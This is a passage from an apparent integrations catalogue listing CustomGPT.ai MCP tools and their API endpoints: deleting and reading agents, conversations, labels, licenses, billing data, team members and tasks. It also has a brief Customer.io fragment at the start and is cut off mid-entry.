so make sure that you test your message before you update it. NOTE: You cannot manage content made with Design Studio with this endpoint. Use the Design Studio APIs (/integrations/api/app/tag/design-studio/) instead. PUT /api/v1/customerio/v1/transactional/{transactional_id}/content/{content_id}. Scopes: api. customerio_put_v1_transactional_by_transactional_id_language_by_language (write) — Update the body and other data of a specific language variant for a transactional message. This fully overwrites this specific translation of your existing transactional message. NOTE: You cannot manage content made with Design Studio with this endpoint. Use the Design Studio APIs (/integrations/api/app/tag/design-studio/) instead. PUT /api/v1/customerio/v1/transactional/{transactional_id}/language/{language}. Scopes: api. ================================================================================ ## CustomGPT.ai URL: https://www.agenticfabriq.com/integrations/customgpt Section: Integrated Tools CustomGPT.ai — 100 MCP tools Provider key: customgpt. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. customgpt_delete_api_v1_projects_by_projectid (write, destructive) — Permanently deletes an agent and all associated data, including its knowledge base, conversations, settings, and analytics. This action cannot be undone. Warning: This operation is irreversible. All conversations, sources, and settings will be permanently deleted. via DELETE /api/v1/projects/{projectId} DELETE /api/v1/customgpt/api/v1/projects/{projectId}. Scopes: api. customgpt_delete_api_v1_projects_by_projectid_actions_custom_by_actionkey (write, destructive) — Delete a custom action via DELETE /api/v1/projects/{projectId}/actions/custom/{actionKey} DELETE /api/v1/customgpt/api/v1/projects/{projectId}/actions/custom/{actionKey}. Scopes: api. customgpt_delete_api_v1_projects_by_projectid_children (write, destructive) — Removes multiple child agents from this Multi-Agent in a single request. Returns 422 if the operation would leave no children, or if any specified agent is not currently assigned. via DELETE /api/v1/projects/{projectId}/children DELETE /api/v1/customgpt/api/v1/projects/{projectId}/children. Scopes: api. customgpt_delete_api_v1_projects_by_projectid_children_by_childprojectid (write, destructive) — Removes a single child agent from this Multi-Agent. Returns 422 if this is the last remaining child, or 404 if the agent is not currently assigned. via DELETE /api/v1/projects/{projectId}/children/{childProjectId} DELETE /api/v1/customgpt/api/v1/projects/{projectId}/children/{childProjectId}. Scopes: api. customgpt_delete_api_v1_projects_by_projectid_contextual_rag_pages (write, destructive) — Deletes webpage context entries for an agent. Pass `page_ids` to delete specific pages, or omit the body to delete all pages for the agent. Requires the **Webpage Awareness** tool to be enabled on the agent. via DELETE /api/v1/projects/{projectId}/contextual-rag/pages DELETE /api/v1/customgpt/api/v1/projects/{projectId}/contextual-rag/pages. Scopes: api. customgpt_delete_api_v1_projects_by_projectid_conversations_by_sessionid (write, destructive) — Permanently deletes a conversation and all its messages. Use this to remove sensitive conversations or clean up test data. Warning: This action cannot be undone. All messages in the conversation will be permanently deleted. via DELETE /api/v1/projects/{projectId}/conversations/{sessionId} DELETE /api/v1/customgpt/api/v1/projects/{projectId}/conversations/{sessionId}. Scopes: api. customgpt_delete_api_v1_projects_by_projectid_labels_by_labelid (write, destructive) — Permanently deletes a label and removes all associated assignments (both user-to-label and document-to-label mappings). Documents that lose their only label will become accessible to everyone. via DELETE /api/v1/projects/{projectId}/labels/{labelId} DELETE /api/v1/customgpt/api/v1/projects/{projectId}/labels/{labelId}. Scopes: api. customgpt_delete_api_v1_projects_by_projectid_labels_users (write, destructive) — Removes specific users from one or more labels without affecting other users' assignments. Use this when offboarding users or revoking access to specific content. via DELETE /api/v1/projects/{projectId}/labels/users DELETE /api/v1/customgpt/api/v1/projects/{projectId}/labels/users. Scopes: api. customgpt_delete_api_v1_projects_by_projectid_licenses_by_licenseid (write, destructive) — Revokes and permanently removes an access license. Any users or systems using this license will immediately lose access to the agent. Warning: This immediately revokes access for anyone using this license. via DELETE /api/v1/projects/{projectId}/licenses/{licenseId} DELETE /api/v1/customgpt/api/v1/projects/{projectId}/licenses/{licenseId}. Scopes: api. customgpt_delete_api_v1_projects_by_projectid_pages_by_pageid (write, destructive) — Permanently removes a document from an agent's knowledge base. The agent will no longer reference this content when answering questions. Use this to remove outdated or incorrect information. Warning: This action cannot be undone. The document must be re-uploaded or re-indexed to restore it. via DELETE /api/v1/projects/{projectId}/pages/{pageId} DELETE /api/v1/customgpt/api/v1/projects/{projectId}/pages/{pageId}. Scopes: api. customgpt_delete_api_v1_projects_by_projectid_settings_persona_by_version_sub_personas_by_slug (write, destructive) — Deletes the project-level override for one sub-persona slug. Generated persona-version rows are not modified. via DELETE /api/v1/projects/{projectId}/settings/persona/{version}/sub-personas/{slug} DELETE /api/v1/customgpt/api/v1/projects/{projectId}/settings/persona/{version}/sub-personas/{slug}. Scopes: api. customgpt_delete_api_v1_projects_by_projectid_sources_by_sourceid (write, destructive) — Removes a data source and all its documents from an agent's knowledge base. Use this to disconnect content that's no longer relevant or to clean up after testing. Notes: To delete individual documents without removing the entire source, use the Delete Document endpoint instead. Warning: This deletes ALL documents from this source. The action cannot be undone. via DELETE /api/v1/projects/{projectId}/sources/{sourceId} DELETE /api/v1/customgpt/api/v1/projects/{projectId}/sources/{sourceId}. Scopes: api. customgpt_delete_api_v1_projects_by_projectid_tasks_by_taskid (write, destructive) — Permanently deletes a task and all its messages. Use this to remove sensitive tasks or clean up test data. Warning: This action cannot be undone. All messages in the task will be permanently deleted from the user-facing API. via DELETE /api/v1/projects/{projectId}/tasks/{taskId} DELETE /api/v1/customgpt/api/v1/projects/{projectId}/tasks/{taskId}. Scopes: api. customgpt_delete_api_v1_projects_by_projectid_tasks_by_taskid_messages_by_prompthistoryid_files_by_fileid (write, destructive) — Deletes an agent-generated artifact from a task message. via DELETE /api/v1/projects/{projectId}/tasks/{taskId}/messages/{promptHistoryId}/files/{fileId} DELETE /api/v1/customgpt/api/v1/projects/{projectId}/tasks/{taskId}/messages/{promptHistoryId}/files/{fileId}. Scopes: api. customgpt_delete_api_v1_teams_invitations_by_invitationid (write, destructive) — Cancels a pending team invitation. The invited person will no longer be able to join via this invitation link. via DELETE /api/v1/teams/invitations/{invitationId} DELETE /api/v1/customgpt/api/v1/teams/invitations/{invitationId}. Scopes: api. customgpt_delete_api_v1_teams_members_by_userid (write, destructive) — Removes a member from the team. Only the team owner or a member with the appropriate permission can perform this action. via DELETE /api/v1/teams/members/{userId} DELETE /api/v1/customgpt/api/v1/teams/members/{userId}. Scopes: api. customgpt_delete_api_v1_teams_roles_by_roleid (write, destructive) — Deletes a custom role belonging to this team. Reserved system roles cannot be deleted, and a role cannot be deleted while it still has members assigned, has pending invitations, or is set as an organization's default SSO role. via DELETE /api/v1/teams/roles/{roleId} DELETE /api/v1/customgpt/api/v1/teams/roles/{roleId}. Scopes: api. customgpt_get_api_v1_billing_invoices (read) — Returns paginated invoices for your account. Invoice records are stored locally and do not require a Stripe API call. Use the `page` and `limit` query parameters to paginate. via GET /api/v1/billing/invoices GET /api/v1/customgpt/api/v1/billing/invoices. Scopes: api. customgpt_get_api_v1_billing_invoices_by_invoiceid_download (read) — Returns the Stripe-hosted PDF for the specified invoice. The invoice ID must belong to your account. via GET /api/v1/billing/invoices/{invoiceId}/download GET /api/v1/customgpt/api/v1/billing/invoices/{invoiceId}/download. Scopes: api. customgpt_get_api_v1_billing_payment_methods (read) — Returns all payment methods attached to your account, including type, display name, card details, and which is the default. via GET /api/v1/billing/payment-methods GET /api/v1/customgpt/api/v1/billing/payment-methods. Scopes: api. customgpt_get_api_v1_billing_plan (read) — Returns the active subscription plan for your account, including billing cycle dates, trial status, plan options, and active addons. Returns null data when no active subscription exists. via GET /api/v1/billing/plan GET /api/v1/customgpt/api/v1/billing/plan. Scopes: api. customgpt_get_api_v1_limits_usage (read) — Returns your current usage and plan limits for agents, storage (words), and monthly queries. Use this to monitor consumption, plan for scaling, or display usage dashboards to your users. via GET /api/v1/limits/usage GET /api/v1/customgpt/api/v1/limits/usage. Scopes: api. customgpt_get_api_v1_preview_by_id (read) — Returns a preview of the source document referenced by a citation. Use this to show users the original content that the agent used to generate a response. via GET /api/v1/preview/{id} GET /api/v1/customgpt/api/v1/preview/{id}. Scopes: api. customgpt_get_api_v1_projects (read) — Returns all agents in your account, sorted by creation date with the most recent first. Use this endpoint to get an overview of your agents or to retrieve agent IDs for other API calls. Results are paginated with a default page size of 10. Notes: Use the page query parameter to fetch additional results. via GET /api/v1/projects GET /api/v1/customgpt/api/v1/projects. Scopes: api. customgpt_get_api_v1_projects_by_projectid (read) — Returns the full configuration and current status for a specific agent. Use this to check processing status, view settings, or retrieve metadata about the agent. via GET /api/v1/projects/{projectId} GET /api/v1/customgpt/api/v1/projects/{projectId}. Scopes: api. customgpt_get_api_v1_projects_by_projectid_actions (read) — List agent actions via GET /api/v1/projects/{projectId}/actions GET /api/v1/customgpt/api/v1/projects/{projectId}/actions. Scopes: api. customgpt_get_api_v1_projects_by_projectid_children (read) — Returns all agents currently assigned to this Multi-Agent, including their name and generation flag. via GET /api/v1/projects/{projectId}/children GET /api/v1/customgpt/api/v1/projects/{projectId}/children. Scopes: api. customgpt_get_api_v1_projects_by_projectid_citations_by_citationid (read) — Returns metadata for a specific citation, including the source document's title, description, URL, and preview information. Use this to display source attribution or allow users to verify the agent's sources. via GET /api/v1/projects/{projectId}/citations/{citationId} GET /api/v1/customgpt/api/v1/projects/{projectId}/citations/{citationId}. Scopes: api. customgpt_get_api_v1_projects_by_projectid_contextual_rag_pages (read) — Returns all webpage context entries for an agent, with optional URL filtering and pagination. Requires the **Webpage Awareness** tool to be enabled on the agent. via GET /api/v1/projects/{projectId}/contextual-rag/pages GET /api/v1/customgpt/api/v1/projects/{projectId}/contextual-rag/pages. Scopes: api. customgpt_get_api_v1_projects_by_projectid_conversations (read) — Returns all conversations for an agent. Each conversation represents a chat session with a user and contains the full message history. Results are paginated and sorted by most recent activity. via GET /api/v1/projects/{projectId}/conversations GET /api/v1/customgpt/api/v1/projects/{projectId}/conversations. Scopes: api. customgpt_get_api_v1_projects_by_projectid_conversations_by_sessionid_messages (read) — Returns all messages in a conversation, including user prompts, agent responses, timestamps, and citations. Use this to display conversation history or analyze past interactions. via GET /api/v1/projects/{projectId}/conversations/{sessionId}/messages GET /api/v1/customgpt/api/v1/projects/{projectId}/conversations/{sessionId}/messages. Scopes: api. customgpt_get_api_v1_projects_by_projectid_conversations_by_sessionid_messages_by_promptid (read) — Returns the complete details for a single message, including the user's prompt, the agent's response, timestamps, citations, and any attached metadata. Use this to retrieve specific messages for display or analysis. via GET /api/v1/projects/{projectId}/conversations/{sessionId}/messages/{promptId} GET /api/v1/customgpt/api/v1/projects/{projectId}/conversations/{sessionId}/messages/{promptId}. Scopes: api. customgpt_get_api_v1_projects_by_projectid_conversations_by_sessionid_messages_by_promptid_claims (read) — Returns the factual claims extracted from an agent's response. Each claim is a discrete statement that can be independently verified against the source documents. Use this for fact-checking or building trust indicators. via GET /api/v1/projects/{projectId}/conversations/{sessionId}/messages/{promptId}/claims GET /api/v1/customgpt/api/v1/projects/{projectId}/conversations/{sessionId}/messages/{promptId}/claims. Scopes: api. customgpt_get_api_v1_projects_by_projectid_conversations_by_sessionid_messages_by_promptid_trust_score (read) — Returns a verification trust score for a message, calculated by checking how well the agent's claims are supported by the source documents. Higher scores indicate better-grounded responses. via GET /api/v1/projects/{projectId}/conversations/{sessionId}/messages/{promptId}/trust-score GET /api/v1/customgpt/api/v1/projects/{projectId}/conversations/{sessionId}/messages/{promptId}/trust-score. Scopes: api. customgpt_get_api_v1_projects_by_projectid_deployment (read) — Returns all deployment section configurations (embed, live_chat, ai_assistant, instant_viewer, sge) for an agent. Missing settings are returned with their default values. via GET /api/v1/projects/{projectId}/deployment GET /api/v1/customgpt/api/v1/projects/{projectId}/deployment. Scopes: api. customgpt_get_api_v1_projects_by_projectid_labels (read) — Returns all labels configured for an agent, along with the users assigned to each label. Use this to review your access control configuration or build a label management interface. Notes: Requires Custom plan. via GET /api/v1/projects/{projectId}/labels GET /api/v1/customgpt/api/v1/projects/{projectId}/labels. Scopes: api. customgpt_get_api_v1_projects_by_projectid_labels_by_labelid (read) — Retrieves a specific label, including its name and the list of users assigned to it. via GET /api/v1/projects/{projectId}/labels/{labelId} GET /api/v1/customgpt/api/v1/projects/{projectId}/labels/{labelId}. Scopes: api. customgpt_get_api_v1_projects_by_projectid_licenses (read) — Returns all access licenses configured for an agent. Licenses control who can interact with the agent and what permissions they have. Use this to manage access distribution. via GET /api/v1/projects/{projectId}/licenses GET /api/v1/customgpt/api/v1/projects/{projectId}/licenses. Scopes: api. customgpt_get_api_v1_projects_by_projectid_licenses_by_licenseid (read) — Returns the full details for a specific license, including permissions, usage statistics, status, and expiration date. Use this to audit or troubleshoot access issues. via GET /api/v1/projects/{projectId}/licenses/{licenseId} GET /api/v1/customgpt/api/v1/projects/{projectId}/licenses/{licenseId}. Scopes: api. customgpt_get_api_v1_projects_by_projectid_pages (read) — Returns all indexed documents in an agent's knowledge base. Each document represents a piece of content (webpage, PDF, uploaded file) that the agent can reference when answering questions. Results are paginated. You can use the optional `search` parameter to filter results by document URL or filename. Notes: In the API, documents are called "pages" for backward compatibility. via GET /api/v1/projects/{projectId}/pages GET /api/v1/customgpt/api/v1/projects/{projectId}/pages. Scopes: api. customgpt_get_api_v1_projects_by_projectid_pages_by_pageid_labels (read) — Returns all labels assigned to a document. Labels control which users can access answers derived from this document - users only see answers from documents matching their assigned labels. Notes: Requires Custom plan. Documents without labels are accessible to all users. via GET /api/v1/projects/{projectId}/pages/{pageId}/labels GET /api/v1/customgpt/api/v1/projects/{projectId}/pages/{pageId}/labels. Scopes: api. customgpt_get_api_v1_projects_by_projectid_pages_by_pageid_metadata (read) — Returns metadata for a document, including its title, source URL, word count, and any custom metadata fields. Use this to display document information or manage your knowledge base. via GET /api/v1/projects/{projectId}/pages/{pageId}/metadata GET /api/v1/customgpt/api/v1/projects/{projectId}/pages/{pageId}/metadata. Scopes: api. customgpt_get_api_v1_projects_by_projectid_reports_analysis (read) — Returns time-series data formatted for charts, with daily, weekly, or monthly breakdowns of key metrics. via GET /api/v1/projects/{projectId}/reports/analysis GET /api/v1/customgpt/api/v1/projects/{projectId}/reports/analysis. Scopes: api. customgpt_get_api_v1_projects_by_projectid_reports_conversations (read) — Returns conversation metrics, including total conversations, average duration, messages per conversation, and completion rates. Use this to understand how users engage with your agent. via GET /api/v1/projects/{projectId}/reports/conversations GET /api/v1/customgpt/api/v1/projects/{projectId}/reports/conversations. Scopes: api. customgpt_get_api_v1_projects_by_projectid_reports_intelligence (read) — Returns AI-analyzed insights about your users, including common intents, emotional sentiment, frequently discussed topics, and emerging trends. Use this to understand what users are asking about and how they're feeling. via GET /api/v1/projects/{projectId}/reports/intelligence GET /api/v1/customgpt/api/v1/projects/{projectId}/reports/intelligence. Scopes: api. customgpt_get_api_v1_projects_by_projectid_reports_leads (read) — Exports lead information captured from conversations, including email addresses, names, and any custom fields collected. Use this to sync leads with your CRM or marketing tools. via GET /api/v1/projects/{projectId}/reports/leads GET /api/v1/customgpt/api/v1/projects/{projectId}/reports/leads. Scopes: api. customgpt_get_api_v1_projects_by_projectid_reports_leads_by_sessionid_collated (read) — Returns one merged lead built from all lead rows in the conversation. via GET /api/v1/projects/{projectId}/reports/leads/{sessionId}/collated GET /api/v1/customgpt/api/v1/projects/{projectId}/reports/leads/{sessionId}/collated. Scopes: api. customgpt_get_api_v1_projects_by_projectid_reports_queries (read) — Returns aggregate query metrics, including total query volume, success rates, average response times, and failure reasons. Use this to monitor agent performance and identify issues. via GET /api/v1/projects/{projectId}/reports/queries GET /api/v1/customgpt/api/v1/projects/{projectId}/reports/queries. Scopes: api. customgpt_get_api_v1_projects_by_projectid_reports_traffic (read) — Returns a breakdown of conversation volume by deployment channel (e.g. web widget, API, Slack, WhatsApp) over the requested time window. Use the `filters` query parameter to scope the report. via GET /api/v1/projects/{projectId}/reports/traffic GET /api/v1/customgpt/api/v1/projects/{projectId}/reports/traffic. Scopes: api. customgpt_get_api_v1_projects_by_projectid_settings (read) — Returns the complete configuration for an agent, including persona instructions, response behavior, deployment options, and feature flags. Use this to review or back up an agent's configuration. via GET /api/v1/projects/{projectId}/settings GET /api/v1/customgpt/api/v1/projects/{projectId}/settings. Scopes: api. customgpt_get_api_v1_projects_by_projectid_settings_persona_by_version (read) — Returns the full text and metadata for a specific persona version. Use this to compare versions or review what instructions were active at a particular time. via GET /api/v1/projects/{projectId}/settings/persona/{version} GET /api/v1/customgpt/api/v1/projects/{projectId}/settings/persona/{version}. Scopes: api. customgpt_get_api_v1_projects_by_projectid_settings_persona_by_version_sub_personas (read) — Returns generated sub-personas for one persona version and project-level overrides separately. via GET /api/v1/projects/{projectId}/settings/persona/{version}/sub-personas GET /api/v1/customgpt/api/v1/projects/{projectId}/settings/persona/{version}/sub-personas. Scopes: api. customgpt_get_api_v1_projects_by_projectid_settings_personas (read) — Returns the version history of an agent's persona. Every time the persona is updated, a snapshot is automatically saved, allowing you to view changes over time or restore a previous version. Results are paginated. via GET /api/v1/projects/{projectId}/settings/personas GET /api/v1/customgpt/api/v1/projects/{projectId}/settings/personas. Scopes: api. customgpt_get_api_v1_projects_by_projectid_sources (read) — Returns all data sources connected to an agent. Each source represents an origin for documents - such as a sitemap, Google Drive folder, SharePoint site, or uploaded files. Use this to manage what content feeds into an agent's knowledge base. via GET /api/v1/projects/{projectId}/sources GET /api/v1/customgpt/api/v1/projects/{projectId}/sources. Scopes: api. customgpt_get_api_v1_projects_by_projectid_stats (read) — Returns usage metrics and performance statistics for an agent, including total conversations, query counts, document statistics, and processing information. Use this for monitoring and reporting. via GET /api/v1/projects/{projectId}/stats GET /api/v1/customgpt/api/v1/projects/{projectId}/stats. Scopes: api. customgpt_get_api_v1_projects_by_projectid_tasks (read) — Returns all Plan & Act mode tasks for an agent, paginated. Tasks are ordered by most recent activity. via GET /api/v1/projects/{projectId}/tasks GET /api/v1/customgpt/api/v1/projects/{projectId}/tasks. Scopes: api. customgpt_get_api_v1_projects_by_projectid_tasks_by_taskid (read) — Returns the current processing state of a task. While the task is running, returns `status: processing` with any stream events flushed since the last poll. When the agent needs one of the functions supplied via `tools`, returns `status: awaiting_tool_results` with `result.tool_calls` (OpenAI format). Execute the functions and submit their results via `POST /tasks/{taskId}/tool-outputs`; the session then resumes. This status persists across polls (for up to 2 hours) until outputs are submitted. Once the session completes, returns `status: completed` with `result.message_id` pointing to the final message. The completed result is consumed on first read and is held for at most 2 hours after completion — subsequent polls return 404, so persist the result on first successful read. If you miss the result window or have already consumed it, fetch the persisted history via `GET /tasks/{taskId}/messages` instead. via GET /api/v1/projects/{projectId}/tasks/{taskId} GET /api/v1/customgpt/api/v1/projects/{projectId}/tasks/{taskId}. Scopes: api. customgpt_get_api_v1_projects_by_projectid_tasks_by_taskid_messages (read) — Returns all messages in a task, including user prompts, agent responses, timestamps, and citations. Use this to display task history or analyze past interactions. Results are paginated and ordered by most recent first. via GET /api/v1/projects/{projectId}/tasks/{taskId}/messages GET /api/v1/customgpt/api/v1/projects/{projectId}/tasks/{taskId}/messages. Scopes: api. customgpt_get_api_v1_projects_by_projectid_tasks_by_taskid_messages_by_prompthistoryid (read) — Returns the complete details for a single message, including the user's prompt, the agent's response, timestamps, citations, and any attached metadata. Use this to retrieve specific messages for display or analysis. via GET /api/v1/projects/{projectId}/tasks/{taskId}/messages/{promptHistoryId} GET /api/v1/customgpt/api/v1/projects/{projectId}/tasks/{taskId}/messages/{promptHistoryId}. Scopes: api. customgpt_get_api_v1_projects_by_projectid_tasks_by_taskid_messages_by_prompthistoryid_files (read) — Returns all files associated with a specific task message - both user-uploaded sources and AI-generated artifacts. Use the `type` field to distinguish between `upload` and `artifact`. Generated artifacts expire after a configurable TTL (default 24 h). via GET /api/v1/projects/{projectId}/tasks/{taskId}/messages/{promptHistoryId}/files GET /api/v1/customgpt/api/v1/projects/{projectId}/tasks/{taskId}/messages/{promptHistoryId}/files. Scopes: api. customgpt_get_api_v1_projects_by_projectid_tasks_by_taskid_messages_by_prompthistoryid_files_by_fileid_download (read) — Generates a pre-signed URL for an agent-generated artifact and redirects to it. The redirect target is valid for 1 hour. via GET /api/v1/projects/{projectId}/tasks/{taskId}/messages/{promptHistoryId}/files/{fileId}/download GET /api/v1/customgpt/api/v1/projects/{projectId}/tasks/{taskId}/messages/{promptHistoryId}/files/{fileId}/download. Scopes: api. customgpt_get_api_v1_teams (read) — Returns a paginated list of all teams the authenticated user is a member of. via GET /api/v1/teams GET /api/v1/customgpt/api/v1/teams. Scopes: api. customgpt_get_api_v1_teams_invitations (read) — Returns a paginated list of all pending invitations for the specified team. via GET /api/v1/teams/invitations GET /api/v1/customgpt/api/v1/teams/invitations. Scopes: api. customgpt_get_api_v1_teams_members (read) — Returns a paginated list of all members belonging to the specified team, including their assigned roles. via GET /api/v1/teams/members GET /api/v1/customgpt/api/v1/teams/members. Scopes: api. customgpt_get_api_v1_teams_roles (read) — Returns all roles that can be assigned to members within this team. Includes both global assignable system roles (Administrator, Member, Chat-only) and the team's own custom roles. Super Admin and Owner are excluded as they are not assignable. via GET /api/v1/teams/roles GET /api/v1/customgpt/api/v1/teams/roles. Scopes: api. customgpt_get_api_v1_user (read) — Returns profile information for the currently authenticated user, including account details and settings. via GET /api/v1/user GET /api/v1/customgpt/api/v1/user. Scopes: api. customgpt_get_api_v1_user_search_team_member (read) — Searches for team members by email address or user ID. Use this to find users when assigning permissions or managing team access. Notes: Requires Owner or Admin role. via GET /api/v1/user/search-team-member GET /api/v1/customgpt/api/v1/user/search-team-member. Scopes: api. customgpt_patch_api_v1_projects_by_projectid_contextual_rag_messages (write) — Updates `auto_message` and/or `display_message` for one or more webpage context entries. Requires the **Webpage Awareness** tool to be enabled on the agent. via PATCH /api/v1/projects/{projectId}/contextual-rag/messages PATCH /api/v1/customgpt/api/v1/projects/{projectId}/contextual-rag/messages. Scopes: api. customgpt_patch_api_v1_projects_by_projectid_deployment_by_section (write) — Updates a single deployment section for an agent. The `section` path parameter identifies which section to update (embed, live_chat, ai_assistant, instant_viewer, or sge). Only include the fields you want to change — omitted fields retain their current values. Settings restricted by your plan are silently ignored. via PATCH /api/v1/projects/{projectId}/deployment/{section} PATCH /api/v1/customgpt/api/v1/projects/{projectId}/deployment/{section}. Scopes: api. customgpt_patch_api_v1_projects_by_projectid_settings_persona_by_version_sub_personas_by_slug (write) — Creates or updates the project-level override for one sub-persona slug. Generated persona-version rows are not modified. via PATCH /api/v1/projects/{projectId}/settings/persona/{version}/sub-personas/{slug} PATCH /api/v1/customgpt/api/v1/projects/{projectId}/settings/persona/{version}/sub-personas/{slug}. Scopes: api. customgpt_post_api_v1_projects_by_projectid_actions_custom (write) — Create a custom action (MCP) via POST /api/v1/projects/{projectId}/actions/custom POST /api/v1/customgpt/api/v1/projects/{projectId}/actions/custom. Scopes: api. customgpt_post_api_v1_projects_by_projectid_chat_completions (write) — Sends a message using the OpenAI-compatible request and response format. Use this if you are migrating from OpenAI or want to use existing OpenAI client libraries. Supports streaming for real-time responses. Notes: This is a convenience endpoint for OpenAI compatibility. For full CustomGPT features, use the native message endpoint. Through this integration the reply is always the complete JSON document (streaming is disabled; `stream` cannot be set), and this is the only send-message operation offered: the native multipart message endpoint is not available here. via POST /api/v1/projects/{projectId}/chat/completions POST /api/v1/customgpt/api/v1/projects/{projectId}/chat/completions. Scopes: api. customgpt_post_api_v1_projects_by_projectid_children (write) — Assigns one or more agents as children of this Multi-Agent. Enforces plan limits, team ownership, and prevents assigning Multi-Agent projects as children. via POST /api/v1/projects/{projectId}/children POST /api/v1/customgpt/api/v1/projects/{projectId}/children. Scopes: api. customgpt_post_api_v1_projects_by_projectid_conversations (write) — Creates a new conversation session for an agent. Returns a session ID that you'll use to send messages. You can optionally provide a name to help identify the conversation later. Notes: You can also create conversations implicitly by sending a message with a new session ID. via POST /api/v1/projects/{projectId}/conversations POST /api/v1/customgpt/api/v1/projects/{projectId}/conversations. Scopes: api. customgpt_post_api_v1_projects_by_projectid_conversations_by_sessionid_messages_by_promptid_verify (write) — Triggers a fact-checking verification process for a message's claims. The system compares each claim against the source documents and reports which claims are supported, partially supported, or unsupported. via POST /api/v1/projects/{projectId}/conversations/{sessionId}/messages/{promptId}/verify POST /api/v1/customgpt/api/v1/projects/{projectId}/conversations/{sessionId}/messages/{promptId}/verify. Scopes: api. customgpt_post_api_v1_projects_by_projectid_labels (write) — Creates one or more new labels for document access control. Accepts an array of label names, allowing bulk creation. After creating labels, assign them to documents and users to control access. Notes: Requires Custom plan. via POST /api/v1/projects/{projectId}/labels POST /api/v1/customgpt/api/v1/projects/{projectId}/labels. Scopes: api. customgpt_post_api_v1_projects_by_projectid_licenses (write) — Creates a new access license for an agent with specified permissions and optional expiration. Use this to grant controlled access to external users or systems. via POST /api/v1/projects/{projectId}/licenses POST /api/v1/customgpt/api/v1/projects/{projectId}/licenses. Scopes: api. customgpt_post_api_v1_projects_by_projectid_pages_by_pageid_reindex (write) — Re-crawls and re-indexes a document to update its content in the knowledge base. Use this when the source content has changed and you want the agent to use the updated version. Notes: Only works for URL-based documents. For uploaded files, delete and re-upload instead. via POST /api/v1/projects/{projectId}/pages/{pageId}/reindex POST /api/v1/customgpt/api/v1/projects/{projectId}/pages/{pageId}/reindex. Scopes: api. customgpt_post_api_v1_projects_by_projectid_replicate (write) — Creates a complete copy of an existing agent, including its knowledge base, persona, and settings. Use this to create variations of an agent for testing, or to use an existing agent as a template for a new one. Notes: The cloned agent will have a new ID and can be modified independently of the original. via POST /api/v1/projects/{projectId}/replicate POST /api/v1/customgpt/api/v1/projects/{projectId}/replicate. Scopes: api. customgpt_post_api_v1_projects_by_projectid_tasks_by_taskid_tool_outputs (write) — Resumes a task paused on `awaiting_tool_results` by submitting the results of the function calls requested by the agent. All pending `tool_call_id`s must be answered in one request. Returns 202 Accepted; poll the task for progress — the agent may request further function calls or complete with a final answer. via POST /api/v1/projects/{projectId}/tasks/{taskId}/tool-outputs POST /api/v1/customgpt/api/v1/projects/{projectId}/tasks/{taskId}/tool-outputs. Scopes: api. customgpt_post_api_v1_teams_by_teamid_switch (write) — Switches the authenticated user's active team context. Subsequent requests will operate in the context of the new team. via POST /api/v1/teams/{teamId}/switch POST /api/v1/customgpt/api/v1/teams/{teamId}/switch. Scopes: api. customgpt_post_api_v1_teams_invitations (write) — Sends an invitation email to the specified address. The recipient must accept the invitation before they become a team member. via POST /api/v1/teams/invitations POST /api/v1/customgpt/api/v1/teams/invitations. Scopes: api. customgpt_post_api_v1_teams_invitations_by_invitationid_resend (write) — Cancels the existing invitation and sends a new one to the same email address with the same role. via POST /api/v1/teams/invitations/{invitationId}/resend POST /api/v1/customgpt/api/v1/teams/invitations/{invitationId}/resend. Scopes: api. customgpt_post_api_v1_teams_roles (write) — Creates a new custom role for the team with the specified permissions. Role names cannot match reserved role names (Owner, Administrator, Member). via POST /api/v1/teams/roles POST /api/v1/customgpt/api/v1/teams/roles. Scopes: api. customgpt_put_api_v1_projects_by_projectid_actions_builtin_by_actionkey_settings (write) — Update built-in action settings via PUT /api/v1/projects/{projectId}/actions/builtin/{actionKey}/settings PUT /api/v1/customgpt/api/v1/projects/{projectId}/actions/builtin/{actionKey}/settings. Scopes: api. customgpt_put_api_v1_projects_by_projectid_actions_custom_by_actionkey (write) — Update a custom action configuration via PUT /api/v1/projects/{projectId}/actions/custom/{actionKey} PUT /api/v1/customgpt/api/v1/projects/{projectId}/actions/custom/{actionKey}. Scopes: api. customgpt_put_api_v1_projects_by_projectid_conversations_by_sessionid (write) — Updates conversation metadata, such as the display name. Use this to rename conversations for easier organization and identification. via PUT /api/v1/projects/{projectId}/conversations/{sessionId} PUT /api/v1/customgpt/api/v1/projects/{projectId}/conversations/{sessionId}. Scopes: api. customgpt_put_api_v1_projects_by_projectid_conversations_by_sessionid_messages_by_promptid_feedback (write) — Records user feedback (thumbs up/down) for a message. Use this to collect quality signals that help identify which responses are helpful and which need improvement. via PUT /api/v1/projects/{projectId}/conversations/{sessionId}/messages/{promptId}/feedback PUT /api/v1/customgpt/api/v1/projects/{projectId}/conversations/{sessionId}/messages/{promptId}/feedback. Scopes: api. customgpt_put_api_v1_projects_by_projectid_labels (write) — Sets which users are assigned to each label. The provided user list becomes the source of truth - users not included in the list are removed from that label, and new users are added. Notes: Requires Custom plan. Warning: This is a replacement operation, not an append. Users not included in the request will be removed from the label. via PUT /api/v1/projects/{projectId}/labels PUT /api/v1/customgpt/api/v1/projects/{projectId}/labels. Scopes: api. customgpt_put_api_v1_projects_by_projectid_labels_by_labelid (write) — Updates the name of an existing label. User and document assignments are preserved. via PUT /api/v1/projects/{projectId}/labels/{labelId} PUT /api/v1/customgpt/api/v1/projects/{projectId}/labels/{labelId}. Scopes: api. customgpt_put_api_v1_projects_by_projectid_licenses_by_licenseid (write) — Updates a license's settings, such as permissions, expiration date, or active status. Use this to modify access without creating a new license. via PUT /api/v1/projects/{projectId}/licenses/{licenseId} PUT /api/v1/customgpt/api/v1/projects/{projectId}/licenses/{licenseId}. Scopes: api. customgpt_put_api_v1_projects_by_projectid_pages_by_pageid_labels (write) — Assigns labels to a document for access control. The provided label IDs replace any existing labels on the document. To remove all labels (making the document accessible to everyone), send an empty array. Notes: Maximum 50 labels per document. Warning: This replaces all existing labels. Labels not included in the request will be removed from the document. via PUT /api/v1/projects/{projectId}/pages/{pageId}/labels PUT /api/v1/customgpt/api/v1/projects/{projectId}/pages/{pageId}/labels. Scopes: api. customgpt_put_api_v1_projects_by_projectid_pages_by_pageid_metadata (write) — Updates custom metadata fields for a document. Use this to add tags, categories, or other organizational 